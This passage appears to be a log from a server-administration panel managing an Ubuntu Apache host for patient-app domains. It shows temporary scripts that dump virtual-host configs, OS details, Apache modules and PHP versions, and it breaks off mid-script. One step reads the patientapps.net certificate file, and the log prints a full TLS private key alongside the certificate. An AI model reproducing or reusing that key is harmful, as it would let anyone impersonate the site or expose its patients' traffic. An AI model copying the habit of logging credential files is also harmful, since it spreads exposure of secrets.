         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-23 06:01:13: 

PUT: /tmp/pkp335182

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-23 06:01:13: 

chmod 755 /tmp/pkp335182; /tmp/pkp335182; rm /tmp/pkp335182

2026-04-23 06:01:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_net.conf	1517
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Files apple-app-site-association>
        Header set Content-type	"application/json"
    </Files>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>







2026-04-23 06:01:13: 

PUT: /tmp/pkp862316

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-23 06:01:13: 

chmod 755 /tmp/pkp862316; /tmp/pkp862316; rm /tmp/pkp862316

2026-04-23 06:01:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt	5374
ba:06:a8:87:06:b9:ac:81:2d:d0:3d:6f:d9:9c:01:a8

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBY6Kk11hEUgUj0tGr0ItE8WZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDIzMDUwMjQwWhcNMjYwNzIyMDUwMjM5WjAaMRgwFgYDVQQD
Ew9wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCyGhR35dItJyfeiFANAAiXw8ldz8WTNKst64u/5DrWWosg1Q0GK+VYmqEvpl8G
SRjLgJw+AeVu8sCLaewnbnRxYPwnfrQPMq8NpEDj1AKE97bT46UnHIp5syD5U5Rp
9aKY1FW0KVR6rFSO1IXU3ArTgmLZ+nRNB2qavO469nKhKtIVlganfjIcr2/CQSs9
/Zxf0/z5exg1Hx34UyTLDobC1Clv93f0hVfKYxjatJy3HOdJvmqV0CIlrcqd7X3u
CyURK61gD+zeF0yDiXRMSIlYSGhSfEu3uPqC3cpwst1D0F9hvZ9mZDHuroE2Y86j
Wr19ZCS2RLbkpBCraMQNvbbjAgMBAAGjggI0MIICMDAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUDj2O
lw8dhK0E+Lj6aibfVk1ojggwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM
0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9wYXRpZW50YXBwcy5uZXSCE3d3dy5wYXRpZW50
YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3IxMi5jLmxlbmNyLm9yZy8yNi5jcmwwggEOBgorBgEEAdZ5AgQCBIH/
BIH8APoAdwDXbX0Q0af1d8LH6V/XAL/5gskzWmXh0LMBcxfAyMVpdwAAAZ247ZQG
AAAEAwBIMEYCIQDFQL5c+2KJThB65RpPVXv3hdY95nHd2VS8Cw/aP2CqFQIhAPPB
9LVEq12EiSAN66QqsRi4Ec+5kaq0y0jbO+eDBw0pAH8AqCbL4wrGNRJGUz/gZfFP
GdluGQgTxB3ZbXkAsxI8VScAAAGduO2WSQAIAAAFAAf586EEAwBIMEYCIQDD/mLF
LQzKhg5Of3dLE4ntX0W+v265RwdvWjaarqdCQwIhAK/DzPCzuqFwDhz76OjhiCUM
NMTZzAZRV805HPZo9TGWMA0GCSqGSIb3DQEBCwUAA4IBAQAewAkI/vgYi5gxan5W
OfSEqfcmazV0KpvaeTTkCq08fbeQ6tNP7sGsZJ2GIqm8VMVpWe05u66zeJuJom5k
kb8b1pmGcI5ynMkhrL17wKawVtEziUaEAV080bTrzhlcOG0IBruBETu2CUDgsKwu
cIDyAPfUJWs5FrkRRzUprviJt0vIajOs/oWLDKQKegRK6iCg+fxBue3UlRwgDw9U
sRgvcIvoevnr0fSnLPFESzK98Dxf5YQPKUvR6YFgGiZQ6Vlv85PWf4mkAPglUYJ3
05H1AXBN1d3hDFs6GTzUSySfYUUFF7v8ggAB3w5h5oOO1nPhMchlHB7dUVcE7wlx
YL9k
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCyGhR35dItJyfe
iFANAAiXw8ldz8WTNKst64u/5DrWWosg1Q0GK+VYmqEvpl8GSRjLgJw+AeVu8sCL
aewnbnRxYPwnfrQPMq8NpEDj1AKE97bT46UnHIp5syD5U5Rp9aKY1FW0KVR6rFSO
1IXU3ArTgmLZ+nRNB2qavO469nKhKtIVlganfjIcr2/CQSs9/Zxf0/z5exg1Hx34
UyTLDobC1Clv93f0hVfKYxjatJy3HOdJvmqV0CIlrcqd7X3uCyURK61gD+zeF0yD
iXRMSIlYSGhSfEu3uPqC3cpwst1D0F9hvZ9mZDHuroE2Y86jWr19ZCS2RLbkpBCr
aMQNvbbjAgMBAAECggEADvUhwvAKNsCTGJ1aG71k+1n2D2rjrPk/ZxvhILyKNHZm
ONurvFjzaf2Si+3tDRoWewDSHmMKYccBZLQAoU8leGAszSRW+u/Gw96HlJq5m3Ey
aZk0xZQgDRh+LHJYhI2cmjk6+WZ/Mc5HS7eNhdL1Fc5dfvEJ025MBbLYTxtjhSVv
kJc7v9RMVLZujt7z1OWT5pLso0/MJKuFmFivW1VjZ+Msc80rFhHU/OLxlyrD3+4N
r8SqfGzJqYZav2fO6lRT3ArUkVPbe5uVGWN7hUj9B7NxzcpJA30Ye1HNvrB53TdM
sxa8KDz1gLC6sm7VHfFz9BSoRlA/q34ifNfZXsk4AQKBgQDi9hhE4wJL/6bFQPLt
v3CyKTBzz6eGQZe5tG2erqN2RpSXGis08S9RFfuhCqz3x/OGuBCb4J4PbcLUUrP+
mFa+StYLcCN/gNLnlB2oF+s1NNJbWev9sClwDjXT04fdjRByYxhukMAjx4Raqlg6
16xFBk+ZPZOpclXSRGeQEU9EiQKBgQDI46PhcGOE8zseWfrEA1J1jiKkaID9poVt
A/oAtvz7xlxknYlWNhWDCxrjP9PIKF/QTFw219WCzAKTyxsQWgTbmEGC3C7O4KjT
lna7bLaF94g2loNWUbH1+KSQozRGhNXKR2pvZNhA3fHOlgVFzlpKEXhvbSHj+Fx6
K7u0a/BdCwKBgQCPG/X5mdqc6TrTLjz/xLLe5DH1FH7hnQJ6ylZEtIHF1oNjM9EC
tQHM8zuTNBQUuTPJQs7WOy/vMpqjHvL4Gj64BqAo3jDD+QsDktWQZGSfTAtIJs8z
S50VVyCBzOPiw0wXlHyXWxaMeQXv1XGEyPGLJIuUaMtvEPUkfJWAtilxYQKBgBB4
QU5RRYd33YfufpWlZBRJM+PgwXqKNXQrmEqIthL6P0bsd37+7iKRPYIWEInfbYOJ
TyIb7eBMU4XEaBKeHrnWMMDGxnulhZHbSx6wmgI/ugYnrtrb1chBu1Q0XSvO5iww
ULSTQvuGdrWmLQZ9FX/vEL2p59Zl3UcS4M+47brjAoGAM7Pz6/Rj3xDnYLUexzcU
ztNO6fLrDLnWr/GtoVbORy8DXAcxNVS5/QJ18TGfinX6x1/5Y660cLVcsMVU45/n
xWBOH6eTGfOw1oicSIPwV9Gc+8XL9HX2iSJ4eDbgSjkeK0RCOLrTyQ+tTj/3MgTb
Nv9xPBvUm/urURea9qPqOG4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-23 06:01:13: Establishing a remote connection
2026-04-23 10:35:44: Establishing a connection
2026-04-23 10:35:45: Performing Server Status
2026-04-23 10:35:45: 

PUT: /tmp/pkp936854

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-04-23 10:35:46: 

chmod 755 /tmp/pkp936854; /tmp/pkp936854; rm /tmp/pkp936854

2026-04-23 10:35:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		0		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
minimac

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-110-generic



2026-04-23 10:35:46: 

PUT: /tmp/pkp870636

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-04-23 10:35:47: 

chmod 755 /tmp/pkp870636; /tmp/pkp870636; rm /tmp/pkp870636

2026-04-23 10:35:47: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 9780
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        9780  0.0  0.3 292508 30112 ?        Ss   10:28   0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 setenvif_module (shared)
 status_module (shared)


2026-04-23 10:35:47: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'minimac',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'setenvif_module',
      27 => 'status_module',
    ),
  ),
)


2026-04-23 10:35:47: 

PUT: /tmp/pkp934770

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-04-23 10:35:47: 

chmod 755 /tmp/pkp934770; /tmp/pkp934770; rm /tmp/pkp934770

2026-04-23 10:35:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-04-23 10:35:48: 

PUT: /tmp/pkp738747

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
